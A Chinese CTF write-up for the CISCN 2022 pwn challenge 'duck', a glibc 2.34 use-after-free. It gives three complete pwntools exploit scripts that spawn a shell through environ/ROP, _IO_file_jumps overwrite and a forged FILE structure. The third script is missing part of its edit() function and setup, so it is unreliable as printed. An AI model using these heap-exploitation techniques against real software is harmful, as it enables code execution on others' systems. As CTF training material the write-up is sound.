ciscn 2022 华东北分区赛pwn duck
很遗憾的是当时比赛解出此题花了很长时间(换了m1的mac 环境还没装,到了比赛前一会想起来x86_64的题目肯定会多一些,所以就拿了一个全新版win10的tp,第一次体验到了在比赛的时候下载ubuntu,装vm和pwn的环境,导致浪费了很多时间。。。。)
这个pwn是2.34下的,一开始拿到这个题目的时候吓了一跳(当时是第二次做2.34的glibc pwn),以为要像house of emma那样,分析下来之后感谢出题人高抬贵手。
一个uaf漏洞,但是是2.34下的,2.34下禁用了free_hook, malloc_hook这两个做堆题需要用到最多的hook
当时做题的时候上网搜了一下2.34的利用手法,总结出了两个方法,一个是借助environ算出ret的地址然后去覆盖,另一个是io利用。
这里给出3种不同的exp及利用思路
第一种攻击方法 借助environ修改edit返回地址为rop链
第一种借助environ来覆盖ret。
在2.33的时候fd会有异域加密,想要更改fd进行任意地址申请的话需要泄露出heap地址,这一题因为有uaf所以很好泄露,也很容易泄露出libc,填充满tcache即可。
留两个tcache bins,借助edit来修改fd达成任意地址申请,需要申请到environ这个地址,因为这里存放着stack地址,泄露出来之后算出edit的返回地址即可。
再次利用uaf申请到edit的返回地址之后修改0x000056123dd9b631为rop链即可getshell
from pwn import *
from time import sleep
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('192.168.166.139', 58013)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Choice: '
def add():
r.sendlineafter(menu, '1')
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Idx:', str(index))
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Idx:', str(index))
def edit(index, size, content):
r.sendlineafter(menu, '4')
r.sendlineafter('Idx:', str(index))
r.sendlineafter('Size:', str(size))
r.sendafter('Content:', content)
for i in range(9):
add()
for i in range(8):
delete(i)
show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))
environ = libc_base + libc.sym['environ']
li('environ = ' + hex(environ))
for i in range(5):
add() # 9 - 13
p1 = p64(key ^ environ) + p64(0)
edit(1, 0x10, p1)
add() #14
add() #15
show(15)
stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x168
li('stack_addr = ' + hex(stack_addr))
delete(9)
delete(10)
edit(10, 0x10, p64(key ^ stack_addr) + p64(0))
add() #16
add() #17
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
system_addr = libc_base + libc.sym['system']
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
p2 = p64(0) * 3 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
edit(17, 0x30, p2)
r.interactive()
第二种攻击方法 修改_IO_file_jumps中的_IO_new_file_overflow
第二种借助puts时会调用_IO_new_file_overflow刷新缓冲区
这种是笔者认为解这题最简单的方法,直接利用uaf申请到_IO_file_jumps这里修改_IO_new_file_overflow为one_gadget即可getshell
from pwn import *
from time import sleep
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('192.168.166.139', 58013)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Choice: '
def add():
r.sendlineafter(menu, '1')
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Idx:', str(index))
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Idx:', str(index))
def edit(index, size, content):
r.sendlineafter(menu, '4')
r.sendlineafter('Idx:', str(index))
r.sendlineafter('Size:', str(size))
r.sendafter('Content:', content)
for i in range(9):
add()
for i in range(8):
delete(i)
show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
li('_IO_file_jumps = ' + hex(_IO_file_jumps))
for i in range(5):
add() #9 - 13
p1 = p64(key ^ _IO_file_jumps) + p64(0)
edit(1, 0x10, p1)
add() #14
add() #15
one = [0xda861, 0xda864, 0xda867]
one_gadget = one[1] + libc_base
edit(15, 0x20, p64(0) * 3 + p64(one_gadget))
r.interactive()
第三种攻击方法 伪造io结构体
这种攻击方法笔者认为是最麻烦的,和house of orange很像,把/bin/sh放到头,执行vtable的函数时,FILE结构体地址被作为参数来getshell
劫持_IO_new_file_xsputn这个函数。当然了修改_IO_new_file_overflow这个也是可以的,就是利用puts这个函数。
from pwn import *
from time import sleep
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('192.168.166.139', 58013)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Choice: '
def add():
r.sendlineafter(menu, '1')
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Idx:', str(index))
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Idx:', str(index))
def edit(index, size, content):
r.sendlineafter(menu, '4')
add() #10
add() #11
for i in range(7):
delete(i) # 0 - 6
delete(7)
show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
li('stdout = ' + hex(stdout))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
target = key ^ IO_file_jumps
li('target = ' + hex(target))
edit(6, 0x100, p64(target))
add() #12
add() #13
fake = p64(0) + p64(0)
fake += p64(libc_base + 0x83d80) + p64(libc_base + 0x84750)
fake += p64(libc_base + 0x84440) + p64(libc_base + 0x85520)
fake += p64(libc_base + 0x86600) + p64(system_addr)
delete(8)
edit(8, 0x8, p64(key ^ stdout))
add()
add()
edit(15, 0x10, b'/bin/sh\x00')
#edit(13, 0x40, fake)
r.sendlineafter(menu, '4')
sleep(1)
r.sendline('13')
sleep(1)
#r.sendline('0x40')
r.sendline('64')
sleep(1)
r.sendline(fake)
r.interactive()
另外两道pwn后面再更新,第二个bigduck最简单的就是environ这个方法只不过后面的rop链变成了orw。